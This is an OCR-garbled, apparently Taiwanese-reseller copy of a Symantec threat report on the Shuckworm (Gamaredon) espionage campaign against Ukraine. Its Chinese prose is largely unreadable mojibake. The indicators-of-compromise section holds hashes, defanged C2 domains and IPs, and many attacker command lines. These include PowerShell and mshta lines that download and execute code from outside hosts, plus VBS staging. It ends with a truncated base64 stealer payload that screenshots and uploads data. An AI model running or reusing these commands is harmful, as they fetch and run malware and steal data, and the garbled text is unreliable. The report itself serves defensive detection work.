FREEARRAR--BEFERERASERER--RNMHEREESE

Shuckworm : BiZERr B RN E

SRR SR RARE

2022 f£ 8 B 15 B4 | BE1B®R

REENLFEERRIEHHERFEHASZTHAN
BMEE -
ﬁzﬁgi@ﬁ B 17.40 BST » 202288H158 © A=RIERHE » s
FEREHAVCD « ASCHIH264F8EIIfE 44 -
E#RAS 17.50 BST » 2022888178 : HriusasMY I0C

AT 38 (Broadcom) KA FE BN A1 322 2 B P - ZEF I8 5w (Symanteo) B 2L EI S 5 e BEHY
Shuckworm’E®)y » U IEAE ] B EE4ERE B 75 % S Hag o ERE BT 202248 H8 H#ETT »
LT B AR B A 31T By BACERT-UALET A 26 H 3 580 EE)— 2 -

P OB RN TENGNTH IS H » IFTERHMARTEEE (10C) FIA RE H/EEIE
fTAHET T sy = o

Shuckworm (X #Gamaredon ~ Armageddon) J&—{E SR ZENT A RABIIEZ Z 40 - H20149H
REFLIK » B P2t BERH - EHARBEEREERNEZRTE -

AR

EFWE AT EE LM L EIE ] S EEE— B T -ZipBR e » 8B B R ATHR
RIS T E o FERmshtaexe® FEk—EXMLAE - 2% 1T RE(RESEHTMLIEHFEZ (HTA) 1 -

EEEREZERE LN 4 T ¢ a0698649[.]xsph[L]ru © 2022455 A LAZK > xsph[. Jruffy T4k 2 45
FAEC#kEAShuckwormiEENARE - 12 (B4 ECERT-UARYT A 26 H HARAT T h PR 942 K A3 B Y
Shuckworm;& &

TRAZCERT-UARYERE » sZ 48800 B —E AR B I ve il 22 42 BT PR 155 Y [ R B B =0 (4 FEL )
Bt W HAETETEE “Intelligence Bulletin(ME#HA )" o IERMALL - EF R BZZEELEST
B2 E MR LERIN-ZipE R RE R R A E TSR E T EH -

IR D h

KEXMLB T RIS 5 54888 2 1 > $1{TPowerShell UMY BT HES - R ME 2R (8
PowerShel USRI A T 20110 = EIKG A LLSRAE— (BI040 | - O TR B R85 NS O
T SRR AR AR -

RO REEM-FrE A R B R

ew 8 We Keep IT Safe, Secure & Save you Time, Cost BT HE

IRFSEE5E - 0800-381500 | +886 4 23815000 | http://www.savetime.com.tw



http://www.savetime.com.tw
https://software.broadcom.com/
https://www.savetime.com.tw/symantec.asp#symantec
https://cert.gov.ua/article/971405
https://cert.gov.ua/article/971405

ez EHHES DEBERENVBSHY M EER - HAPmERERTA " juice ; F1 T justice ; F
BB o PR 3522 Backdoor. Pterodo ¢ & BB T T S VIEEEAS B3 RAYE 24 Shuckworm
TH - EEf RGeSy I PowerShell ~ F{E R mEE » el AFTIEa <Mzl (C&C) {EAkes
NEARE A

e EFEE HEETHEATEE "ntuser ;) SHEAEHEZE - FFTRHELEESTAH “ntuser”
F R AVRE 2 B Shuckworm BN M BA B 04 - BELEMEF B EEEN - RSBt 5
Giddomef&F » 5 &5 —{EZE &HIShuckworm T E. »

HMEBE RS ECIRFIRERRE A VCD ~ H204RIASCRITES - (B2 EEHES FELEEI%E A
ntuser.dat.tmcontainer.ved fUFEZE » T/ Giddome (F€44 © ntuser.dat.descendant.exe ) 7% [IAYSEEAE QL
Ff o —{[#l%4 Fyntuser.dat.tmcontainer.h264 1] 5EfE 2 > 5 —1{E %4 Fyntuser.dat.tm.declare.exe F12fF > 2
T EFEEGiddomef& ' —#EML 7 o FEAMH T > —{[# %4 Fyntuser.dat.tmcontainer.aschis ZEH —{
% Byntuser.dat tm.decay.exe T-F2fF °

VCDHEZECDED VDAY ERERL AR » #Windowszsk Bl A B FRATYEHE » BEEURISORE » FeMim s
EIEZE e REEANER - ASCHEE—EI&E - ATReEa U F e A &R
IMH2642 R AEASZ - B2 > 7 ntuser.dat.tmeontainer BISRTE R Fonat MHRAVAE

HAIE N SR B RIERSL  BERERTHEEEXEZETELRE » ME
B0 FEFE I -

ZEELG IR AR IRE L F4896.exe o ILTRFTEA STEINEE - EIE ¢

o A AR AR v R B G AR S AR . BB IR E -

« A DAEH S AR RN A -

o AJLLECERAD b s -

« AJLUTEGE T exe fE B Nk #E ADLLAE ©

Gk R e (RDP) T.H.Ammyy Adminf1AnyDeskth i FH i@ r i - Gis
BV & ARDP L BRI M T ELAS T I 583 PR S R RS A BRI R S Fr Y 48R I 8 R A e 17
HY -

Shuckworm & EH S5

U EBATH) > &5 Z AT ShuckwormAY AFARE » Binaz 5% S E H A iy — = -
BFEHEEARNEEEA - fl40 : B8 (Lcesidl_profilemusic) ~ EFEATEE “ntuser.dat” &
iES ~ HMREIIIRGE ZEETE - R “judgement” DURFIAMEREELL “D” FHUEAEE
FHVEXERE ~ “dat” -~ “decay” ~ “deer” ~ “declare” ----- =

b REEIT A= S e BT /SE H 0 Shuckworm ¥ S EHY & BASH P EANNE ~ A3
& o BEECERT-UAEE 2 1% » BB BUEBI A ENENS - B8R4 E 5B g

PR ORREEM-FrEBofEAS RS R

ew 8 We Keep IT Safe, Secure & Save you Time, Cost BT HE

IRFSEE5E - 0800-381500 | +886 4 23815000 | http://www.savetime.com.tw



http://www.savetime.com.tw
https://www.savetime.com.tw/symantec-blog/shuckworm-intense-campaign-ukraine-TW.pdf
https://www.savetime.com.tw/symantec-blog/shuckworm-intense-campaign-ukraine-TW.pdf

FEE B S AR TAERRVES) © BEZRShuckworm ARMEklT F BRI RTERAHAS - (HE
st S+ S T BIGHAR > WV%F o] DU L — GRS -

VBV Y4 2

BREBCHIIPHE T - Eah B 88 R M s I 5& 2275 (Protection Bulletins)
AIZ$54E (10Cs)
SHA256 183

abb6aab63b29610dbc0a6d634b6777f0a2a2b61c5f60bd09b0c3aa3919fa00d
63490£c0828f96835dd5799452d684dcc32db28d683943b2bad SbS6eee6f03e
b66cc523b88505¢c2cc0568e97c9a80b1ceaed48c8ac7d7b0d9c0f36378d8c2f
26fctbbfeddecac3797bc7999c641£7a93e5a7eb378cf998069d88060801c47d
118a4cf57052e66d4de953fcda3aca627308f93b6560934959d745cabddab6d9
laceb88288dd40535fdddcbdclaal 74109fe897122d693280d6ccec827t4df0b
eadba2c43bc3d18e5d01168ff4f864cbf727e3cb8bIcceSc3t75a27¢91d63d84
9da410a62fb552a593bb6da8ee89aad S1efbbefcd13a35fab24e3c04fec84030
420fccd78efeled739c3a694afada023e1ced25¢29a0affa91bf02¢16912d143
€5f34a99d6799c4ff3a4b06e4142ff136c1a0f59dd4629f3e4da3a7a93e7c88e
d358e4bbafd141d7b058e0deaccalbf3537edc264ef7674c1c49db35b82b2d24
£151d2b404315afe4951cbd870866e8fbb11d05d3752ad096bf00d68072d2262
f1c6546412a86cb6adoc6792¢7553d4162849b5a229fcc396¢737edffdblec80
c40aaaecb9331f1ddac9fe9b6d3455ectd7b21b53159453f7fa3a82e3d5f9ecc
2¢7943730f3dfb891534fcb137a4f6e53a7a697309e6cc247f0f9800£1460731
b783b82e846bd8a623ca32982585¢cf8b79¢ce7cbf9988a04 1f7b2ac7fe5f8a7fe
66d2b38589d08bbbe56b34b88bcefc702cdc6593¢71eSee446dbbb115336b876
ac862717600c531846895{8884841d23e52¢8332¢708cal 1c17a5¢162ce43432
b9cBec91559a62baf87305e0ee387bb777da7830a6d9fc72c630e873858ec465
d7d4077af0aff349821{0e964f42db5ab09eb8b2f427f266378aaal d28af6cS7
3f3667294731e3bdbf13d96d32a98342e225601£20157£774917d9147ce692a4
597¢517c81a53f7a32a67eb2b15e51a95b6bfdd4a33b11850b08eccf6e29d098
184b5ff96d90a46ad33ba82faa2bb298282e7c35afc0ab96f884f668ad098e61
20b1f6fec7a0f09c64e7e09de7952b7532£8c9cd4b45177d2125d84cHad0ec73
8cbae307b9efdb760cc97468ee7a363d5204559ab21e7982d63867cc13c6b098
92953773¢3b405341df8e68bd8a23cbcobfd6c708082aab91632d6cb84bac?
8a59337248d1cf2dbal9980efaf4f5d5b139563a22cec81df276661c0146450

Bz REEM-F 342 X8 R

-HDI We Keep IT Safe, Secure & Save you Time, Cost BT HR

IRFSEE5E - 0800-381500 | +886 4 23815000 | http://www.savetime.com.tw



http://www.savetime.com.tw
https://www.savetime.com.tw/Symantec-Protection-Bulletin-Weekly.asp

22ddb97a2329010b445b08a807b22a997174£528e87604beObbadeOccfal 8050
b26e8d55828dc8143b68ef6140eab7e5e7e59e6b9e104e032b28f5058a127d51
efd099e4900b692a362cf29a12cd2a100a99b1dd29cfaacdb456808795¢07b0f
3fc80fcbf9e813d00af3154714f79d7accd3888689ac6c5d02a750d80414e5¢3
30761d0a9b08c69ctfdd135¢69a537aef0df516b097cd9d6a0d9528bc907t4ddd
aa97a858124tb47ea2572a197bd762da9¢19bac91bdd4c17469c2e48480e8088
3790ddd924b08942f3ecb6da5a32df090274b90829e65119841287¢00db04592
02963acfa5622901de83cb75fad5bef35902d0aed2310d47f7433379dd3543e8
6461d0693801d8d523df9d2d0cd5a652d72c10acec8fab7344bb141c459543e1
8bled8dfab33ed67t8ccd788904f2cd4be521ff152a47 7cecdbabad2bS6aecls
5f05ba566a66531b988c5aldceeeObda7bc2dc34ad2b68d984486e02891a4f6¢e
3dc83172a830c54980738467fb36e7bob5da80e0d9657bd440dcad46ae9f96a2
£895adfe7882bac956f31ec14fb52eal 18138257d4a95tb9%e 1bb6{4e846d07b8
71£dd0edf469905115506f3412663938facca9400dae1c034ddb6b710d41¢7d7
4b9023dbaadd588dad670c49e52202ae695e126896181926249d492935¢07315
ef7eb27e19d11894b52148fbe8987b5726ef4390a56aa47a%9a4bbedb17dd0876

Host 10Cs

ntuser.dat.tm.declare.exe / 2d0792d3f9d5a921a2d5b476feb88a345869d2f0d95f7342cc10ac1¢838896¢h
Jury.mp3 / 4a2b252eccab7da63aadb7a5539cc4ed8385d7b1258¢325dea60edOedc3e0e25

joy.dat / b62bf1a504a474e259d78fc3349eed94982d6bibaf6012e23alec14b3d156dcH

do594e.tmp / 09709be5f7cbb076166d004265a378504f05832bad61£59181b96b374c31a4b3

cronos.exe / ¢c3b7ala739e3641147f4c10c5actbc5816c12892b0edbe8038928f236f44ec84

delve.prj/ fd61dee37batb3392fa4450d2afef18ctobdb3fc5c87476de128c999e58cae59

3893.bmp.vbs / c0a317f60910eed08bbfc7b3ac6e6de1b2029bf4922d0b0d7d3759313a24b16¢

4ARRIE A 124512 (Network 10Cs)

destroy.asierdo[.]Jru
hxxp://destroy.asierdo[.]ru/
45.63.94[.149
165.22.215[.]30
149.28.99[.]187
45.63.79[.]134
140.82.58[.]157
139.180.172[.]67
141.164.45[.].236
95.179.167[.]182
140.82.47[.197
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159.223.235[.]224

138.68.254[.191

217.163.30[.]126

144.202.54[.]111

159.89.129[.]22

207.246.80[.]1
hxxp://159.223.235[.]224/crab/crevice.elg
a0698649.xsph[.]ru
hxxp://a0698649.xsphl.]ru/preparations/band.xml
157.245.99[.]1132
hxxp://157.245.99[.]1132/get.php
194.180.174[.]73

hxxp://194.180.174[.]73/1.txt

* pasamart[.]ru

155.138.252[.]221
hxxp://155.138.252[.]221/get.php

68.183.9[.19

hxxp://68.183.9[.]9/get.php

motoristo.ru

178.62.108[.]75

hxxp://motoristo[.]ru/get.php

heato[.Jru

140.82.54[.]136

hxxp://heato[.Jru/index.php

leonardis[.]Jru

104.238[.]187.145

141.8.192[.182

139.59.65[.]168
hxxp://139.59.65[.]168/journal.au

45.63.100[.]72
hxxp://45.63.100[.]72/get.phpr=3126424&se=3089412&dl=hxxps://meta[.Jua/uk/news/politics/52320-
ukrayina-rozshirila-oboronnu-spivpratsyu-z-danieyu/&rm=hxxps://meta[.Jua/uk/&kf=false&ts=5875621&dw=
2240&dh=1951&t=2053953&s=stable&eec=3242252&po=6485826& ju=8204688 &kio=false&rqm=GET
199.247.25[.179

hxxp://199.247.25[.]79/get.php
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Command lines

CSIDL._PROFILE\appdata\local\temp\1645694127.exe

CSIDL_PROFILE\downloads\anydesk (2).exe

CSIDL_PROFILE\ntuser.dat.tm.decay.exe

CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\17634.bmp CSIDL_PROFILE\
appdata\local\temp\17634.bmp.vbs

CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL PROFILE\appdata\local\temp\5491.bmp CSIDL_PROFILE\
appdata\local\Mtemp\5491.bmp.vbs

CSIDL_SYSTEM\cmd.exe /c del /f /q CSIDL PROFILE\29630.1co.vbs

CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL PROFILE\appdata\local\temp\17634.bmp
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL PROFILE\appdata\local\temp\17634.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL PROFILE\appdata\local\temp\5491.bmp
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo ">>C:\Users\User\29630.ico

CSIDL_SYSTEM\cmd.exe /c echo ">C:\Users\User\29630.ico.vbs

CSIDL SYSTEM\cmd.exe /c echo '17634.bmp>> CSIDL PROFILE\appdata\local\temp\17634.bmp

CSIDL _SYSTEM\cmd.exe /c echo '5491.bmp>> CSIDL PROFILE\appdata\local\temp\5491.bmp
CSIDL_SYSTEM\cmd.exe /c rename CSIDLPROFILE\29630.1co 29630.1co.txt

CSIDL_SYSTEM\cmd.exe /c rename CSIDL._PROFILE\29630.1co.txt 29630.1co.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\29630.ico.vbs

CSIDL_SYSTEM\cmd.exe /c start /b CSIDL PROFILE\appdata\local\temp\17634.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\mshta.exe hxxp://a0698649.xsph[.]ru/preparations/band.xml /f
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe -nol -nop echo (INVOKE-EXPRESSION(new-
object net.webclient).downloadstring('hxxp://157.245.99[.]1132/get.php")) | powershell -
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe -windowstyle hidden -nologo Invoke-Expression
$env:Include

CSIDL SYSTEM\windowspowershell\vl.0\powershell.exe $aaa = (New-Object system.Net.WebClient).down
loadString(‘hxxp://194.180.174[.]73/1.txt"); iex $aaa;

CSIDL SYSTEM\windowspowershell\v1.0\powershell.exe $ip = [System.Net.DNS]::GetHostAddresses([
string]$(Get-Random)+'.pasamart.ru');Start-Sleep -s 10;$IE1 = New-Object -COMObject InternetExplorer.
Application -Property @ {Navigate2=$([string]$ip+'/Ink.php'); Visible = $False};while ($IE1.ReadyState
-ne 4) {Start-Sleep 2}:$Doc = $IE1.document.GetType().InvokeMember('body', [System.Reflection.
BindingFlags]::GetProperty, $Null, $IE1.document, $Null).InnerHtml;$IE1.quit();[10.file]:: Write All Text($($e
nv:USERPROFILE+\index.txt"),$Doc); iex(iex $Doc)
CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe $tmp = $(New-Object net.webclient).DownloadSt
ring(hxxp://155.138.252[.]221/get.php"); Invoke-Expression $tmp
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CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe $tmp = $(New-Object net.webclient).DownloadSt
ring("hxxp://68.183.9[.]19/get.php'); Invoke-Expression $tmp

CSIDL_SYSTEM\wscript.exe CSIDLPROFILE\29630.1c0.vbs

CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\17634.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL. PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL._PROFILE\appdata\local\temp\ho2btvivw2m.vbs

CSIDL SYSTEM\wscript.exe CSIDL. PROFILE\ntuser.dat.tmcontainer.asc //e:vbscript /deserve /decidedly /
dene //b

CSIDL SYSTEMXS&6\windowspowershell\v1.0\powershell.exe -Version 5.1 -s -NoLogo -NoProfile

CSIDL SYSTEM\cmd.exe /c CSIDL. PROFILE\appdata\local\temp\7zsfx000.cmd

CSIDL SYSTEM\cmd.exe /c start /min powershell -w hidden -c (iex echo (iex (new-object net.webclient).
downloadstring('hxxp://motoristo[.Jru/get.php'))lpowershell - )

CSIDL. WINDOWS\explorer.exe

powershell -w hidden -c¢ (iex echo (iex (new-object net.webclient).downloadstring('hxxp://motoristo[.]ru/get.
php"))Ipowershell - )

powershell -w hiddeN -c (iex echo (iex (new-object net.webclient).downloadstring("hxxp://sacramentos|.]ru/
get.php))lpowershell - )

wscript.exe CSIDL, PROFILE\ntuser.dat.tmcontainer.asc //e:vbscript /deserve /decidedly /dene //b

wscript.exe CSIDL PROFILE\documents\jury.mp3 jenny //e:VBScript //b joke

CSIDL PROFILE\cronos.exe

CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\3893.bmp CSIDL_PROFILE\
appdata\local\Mtemp\3893.bmp.vbs

CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\3893.bmp
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\3893.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo '3893.bmp>> CSIDL_PROFILE\appdata\local\temp\3893.bmp
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\3893.bmp.vbs

CSIDL SYSTEM\windowspowershell\v1.0\powershell.exe -nol -nop $nwc = new-object net.webclient;$nwec.
headers[' Accept']="image/avif,image/webp, */*";$nwc.headers[' Accept-Encoding']="*";$nwc.headers['Accept-
Language']="en-US,en;q=0.5";$nwc.headers['Alt-Used']="www.facebook.com';$nwc.headers[' Referer']="https://
meta.ua/;$nwc.headers['Sec-Fetch-Dest']='document';$nwc.headers['Sec-Fetch-Mode']="no-cors";$nwc.
headers['Sec-Fetch-Site']='cross-site";$nwc.headers[' TE']="trailers";$nwc.headers[ User-Agent']="Mozilla/5.0
(Windows NT 6.1; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0";$code=([system.text.
encoding]::utf8.getstring($nwe.DownloadData(‘http://45.63.100.72/get.phpr=3126424&se=3089412&d1=ht
tps://meta.ua/uk/mews/politics/52320-ukrayina-rozshirila-oboronnu-spivpratsyu-z-danieyu/&rm=https://meta.
ua/uk/&kf=false&ts=5875621&dw=2240&dh=1951&1t=2053953&s=stable&eec=3242252&po=6485826& ju=
8204688&kio=false&rgm=GET")));echo $codeliex
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CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe $tmp = $(New-Object net.webclient).DownloadSt
ring(‘http://199.247.25.79/get.php'); Invoke-Expression $tmp

CSIDL_SYSTEM\wscript.exe CSIDL. PROFILE\appdata\local\temp\3893.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL._PROFILE\delve.prj //e:vbscript /departments /dependant /despite //b
CSIDL_SYSTEM\cmd.exe /c CSIDL_PROFILE\appdata\local\temp\7zsfx000.cmd
CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\10805.bmp CSIDL_PROFILE\
appdata\local\temp\10805.bmp.vbs

CSIDL SYSTEM\cmd.exe /c copy /y CSIDL PROFILE\appdata\local\Mtemp\14612.bmp CSIDL PROFILE\
appdata\local\temp\14612.bmp.vbs

CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\19084.bmp CSIDL_PROFILE\
appdata\local\temp\19084.bmp.vbs

CSIDL SYSTEM\cmd.exe /c copy /y CSIDL PROFILE\appdata\local\temp\20342.bmp CSIDL_ PROFILE\
appdata\local\temp\20342.bmp.vbs

CSIDL SYSTEM\cmd.exe /c copy /y CSIDL PROFILE\appdata\local\temp\26012.bmp CSIDL PROFILE\
appdata\local\temp\26012.bmp.vbs

CSIDL SYSTEM\cmd.exe /c copy /y CSIDL PROFILE\appdata\local\temp\5275.bmp CSIDL PROFILE\
appdata\local\temp\5275.bmp.vbs

CSIDL_SYSTEM\cmd.exe /c copy /y CSIDL_PROFILE\appdata\local\temp\5491.bmp CSIDL_PROFILE\
appdata\local\Mtemp\5491.bmp.vbs

CSIDL SYSTEM\cmd.exe /c del /f /g CSIDL. PROFILE\30802.ico.vbs

CSIDL SYSTEM\cmd.exe /c del /f /g CSIDL PROFILE\8527.1co.vbs

CSIDL SYSTEM\cmd.exe /c echo .> CSIDL PROFILE\appdata\local\temp\10805.bmp.vbs

CSIDL SYSTEM\cmd.exe /c echo .> CSIDL PROFILE\appdata\local\temp\14612.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c echo .> CSIDL_PROFILE\appdata\local\temp\19084.bmp.vbs

CSIDL SYSTEM\cmd.exe /c echo .> CSIDL PROFILE\appdata\local\temp\20342.bmp.vbs

CSIDL SYSTEM\cmd.exe /c echo .> CSIDL PROFILE\appdata\local\temp\26012.bmp.vbs

CSIDL SYSTEM\cmd.exe /c echo .> CSIDL PROFILE\appdata\local\temp\5275.bmp.vbs

CSIDL SYSTEM\cmd.exe /c echo .> CSIDL PROFILE\appdata\local\temp\5491.bmp.vbs

CSIDL SYSTEM\cmd.exe /c echo ">C:\Users\User\30802.ico.vbs

CSIDL SYSTEM\cmd.exe /c echo ">C:\Users\User\8527.1co.vbs

CSIDL_SYSTEM\cmd.exe /c rename CSIDL PROFILE\30802.1co.txt 30802.1co.vbs
CSIDL_SYSTEM\cmd.exe /c rename CSIDL. PROFILE\8527.1co.txt 8527.1c0.vbs

CSIDL SYSTEM\cmd.exe /c start /b CSIDL._PROFILE\30802.1co.vbs

CSIDL _SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\8527.ico.vbs

CSIDL _SYSTEM\cmd.exe /c start /b CSIDL PROFILE\appdata\local\temp\10805.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL PROFILE\appdata\local\temp\14612.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL PROFILE\appdata\local\temp\19084.bmp.vbs
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CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\20342.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\26012.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL_PROFILE\appdata\local\temp\5275.bmp.vbs
CSIDL_SYSTEM\cmd.exe /c start /b CSIDL PROFILE\appdata\local\temp\5491.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\30802.ico.vbs
CSIDL_SYSTEM\wscript.exe CSIDL._PROFILE\8527.ico.vbs

CSIDL SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\10805.bmp.vbs
CSIDL SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\14612.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\19084.bmp.vbs
CSIDL SYSTEM\wscript.exe CSIDL_PROFILE\appdata\local\temp\20342.bmp.vbs
CSIDL SYSTEM\wscript.exe CSIDL PROFILE\appdata\local\temp\26012.bmp.vbs
CSIDL SYSTEM\wscript.exe CSIDL PROFILE\appdata\local\temp\5275.bmp.vbs
CSIDL_SYSTEM\wscript.exe CSIDL._PROFILE\appdata\local\Mtemp\5491.bmp.vbs

STEALERV1 ( “WebKitFormBoundary” )

CSIDL_SYSTEMwindowspowershellv1l.0powershell.exe -c¢ $couts =[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24g
UnVuQ29kZSgkY29kZSwkemVzeG9uc2UpewoglCAgW2I5dGVbXVOkYnl0ZXMgPSBuZXctb2JqgZWNOIGI5dGVbXSAkemVzecG9uc2UuTGVuZ3RoOwogICAgZ
m9yKCRqPTA7ICRqIC1sdCAkemVzcGOuc2UuY291bnQgOyAkaisrKXsKICAGICAgICAKkbWFzc191bGVtZW50PSAkaiAlICRjb2RILkx1bmd0aDsKICAgICAgICAk
a2V5PSRjb2RIWYRtYXNzX2VsZW 11bnRdOwogICAgICAgICRieXRlc1skal0gPSAkemVzecG9uc2VbIGpdIC1ieGIyICRrZXk7CiAgICBIOWogICAgIFVyaSA9IFtTe
XNOZW0uVGV4dC5FbmNvZGluZ10601VURjguR2VOU3RyaW5nK CRieXRIcyk7CiAgICBzdGFydC1gb2IgewogICAgICAgICRzYyA9IESldy 1PY mplY3QgLUNvb
U9iamVjdCBNUINjemlwdENvbnRyb2wuU2NyaXB0Q29udHIJvbC4xOwogICAICAICRZzYy5UaW 11b3VOID0gOTk50Tk50yAke2MuTGFuZ3VhZ2UgPSAnVkJ
TY3JpcHQnOyRzYy5BZGRDb2RIKCRhecmdzWzBdKQogICAgfSAtQXIndW 11bnRMaXNOICRVemkgLXJ1bmFzMzI7Cn0KJIGI5dGVzY TOgW IN5c3RIbSS5UZXh0
LkVuY29kaW5nXTo6VVRGOCSHZXRCeXRIcygiLSOtLS0tV2ViS210Rm9ybUJvdW5kY XJ5azZNSDNNRU9BQIZtSTNPcCQoW2NoY XJdMTMpJChbY 2hhcl0xM
CIDb250ZW50LURpc3Bvc210aW9uOiBmb3JtILWRhdGE7IG5hbWU9Y CIwY XJ0aWFsY CIkKFtjaGFyXTEzKSQoW2NoY XJdMTApJChbY 2hhcl0xMykkKFtjaGFy
XTEwKTEKKFtjaGFyXTEzKSQoW2NoYXJdMTApLSOtLS0tV2ViS210Rm9ybUJvdW5kYXJ5azZNSDNNRU9BQIZtSTNPcCQoW2NoY XJdMTMpJChbY 2hhclOx
MCIDb250ZWS0LURpc3Bvc210aW9uOiBmb3JtLWRhdGE7IG5hbWU9Y CJob3NOY CIkKFtjaGFyX TEzZKSQoW2NoY XJdAMTApJChbY 2hhcl0xMykkKFtjaGFyXTE
wKWx1b25hemRpey5ydSQoW2NoYXJIdMTMpJChbY 2hhcl0xMCktLSOtLS1XZWJILaXRGb3JtQm9 1bmRhenlrNk1IMO1FTOFCVm1IM09wLS0kKFtjaGFyXTEzKS
QoW2NoYXJdMTAplik7JHdjPSBOZXctT2JqZWNOIG51dC53ZWIjbGlIbnQ7JHdjLkhlY WRlenMuQWRKK CJDb250ZW50LVR 5¢cGUIiLCItdWx0aXBhenQvZm9yb
S1kYXRhOyBib3VuZGFyeTOtLS0tV2ViS210Rm9ybUJvdW5kY XJ5azZNSDNNRUIBQIZtSTNPcCIpOwokemVzeGuc2UgPS Akd2MuVXBsb2FKkRGF0Y SgiaHRO
cHMO6Ly93aG91ci5uZXQvenUvY2hlY2t3aG9pcylsIGI5dGVzY Sk7CiRpcCAIIFtTeXNOZWO0uVGV4dCSFbmNvZGIuZ10601VURjguR2VOU3RyaW5nK CRyZXNw
b252zZSkgfD97JF8gLW 1hdGNolICJcZHsxLDNIXC5¢ZHsxLDN9IXC5cZHsxLDN9IXC5¢ZHsxLDN9In18JXskTWF0Y2hlc1swXX07CiRzY3J1IZW49MDsKd2hpbGU
0JGNvdWS50IC1sZSAOKXsKICAGIGImKCRzY 3J11IZW4gLWxIIDkpewogICAgICAICRZY 3J1ZW4rKzsKICAICAgICBbdm9pZF 1bUmVmbGVjdGlvbiSBe3NIbWI
seV060kxvY WRXaXRoUGFydGlIhbEShbWUOoIIN5c3R1bS5XaW5kb3dzLkZvem1zIlik 7CiAgICAgICAgIHNpemUgPSBbV21uZG93cy5Gb3Jtcy 5STeXNOZW 1JbmZv
cm1hdGlvbl0601ZpenR1Y WXTY3J1ZW47CiAgICAgICAgIGIpdG1hcCA9IG51dy 1vY mpl Y3QgRHJhd2luZySCaXRtY XAgJHNpemUud21lkdGgsICRzaXplLmhlaWd
0dDsKICAgICAGICAkZ3ThcGhpY3MgPSBbRHJhd2luZy5SHemFwaGljc1060kZyb21JbWFnZSgkY mlObWFwK TsKICAgICAgICAkZ3TheGhpY3MuQ29weUZyb21
TY3J1ZW40JHNpemUubG9jY XRpb24sWORy Y XdpbmcuUG9pbnRdOjpFbXB0eSwgIHNpemUuc216ZSk7CiAgICAgICAgIGdy Y XBoaWNzLkRpc3Bve2UoK TsKIC
AgICAgICAKYmIObWFwLINhdmUoliRIbnY6VVNFUIBSTOZJTEVcdGVzdC5wbmciK TsSKICAGICAgICAKY mlObWFwLkRpe3Bve2UoK TsKICAgICAgICAkKZmls
ZSA9ICIKZW520IVTRVIQUkIGSUxFXHRIc3QueGSnljsKICAGICAgICAKYmFzZTY 0c3RyaW SnIDOgWONvbnZlenRdOjpUb0Jhc2U2NFNOcmluZyhbSU8uRmlsZ
V0601I1Y WRBbGxCeXRlcygkZmlsZSkpOwogICAgICAgIFJIbW92ZS1JdGVIC1QYXRoICIkZW520IVTRVIQUkIGSUXFXHRIc3QueG5nlil Gb3JjZTsKICAgIHO
KICAgIGVsc2V7CiAgICAgICAgIGIhc2U2NHNOcmluZz0icyIKICAgIHOKICAgICRXZWJIDbGIIbnQIIESIdy 1PYmplY3QgbmVOLndlY mNsaW VudDsKICAgICRy
bmRzdHIgPSAtam9pbiAoKDY 1Li45MCkgKyAoOTcuLjEyMikgfCBHZXQtUmFuZG9tIC1Db3VudCAxMCBSICUge1tjaGFyX SRffSk7CiAgICAkdXJsID0gI2h0dH
A6Ly8nKyRpcCsnL2luZGV4LnBocCc7CgoglCAgIGE9R2VOLVdtaU9iamVjdCAtUXVienkglCgic2VsZWNOICogZnJvbSB3aW4zM19sb2ciKyAiaWNhbGRpc2sgd2
hlemUgRGV2aWNISUQ9JyRIbnY 6U31zdGVtRHJpdmUnlik7CiAgICBbc3RyaW5nXSRudW 1iZXIgPSBbU31zdG VtLkNvbnZlecnRdOjpUb1VIbnQzMigoJGEpLIZvb
HVtZVNIecmlhbES 1bWJlciwxNik7CiAgICAkaWSkZXggPSAiaSIgKyAkem5kec3RyOwogICAgIENVbGxIY3Rpb25zID0gTmV3LU91amVjdCBTeXNOZW0uQ29sbG
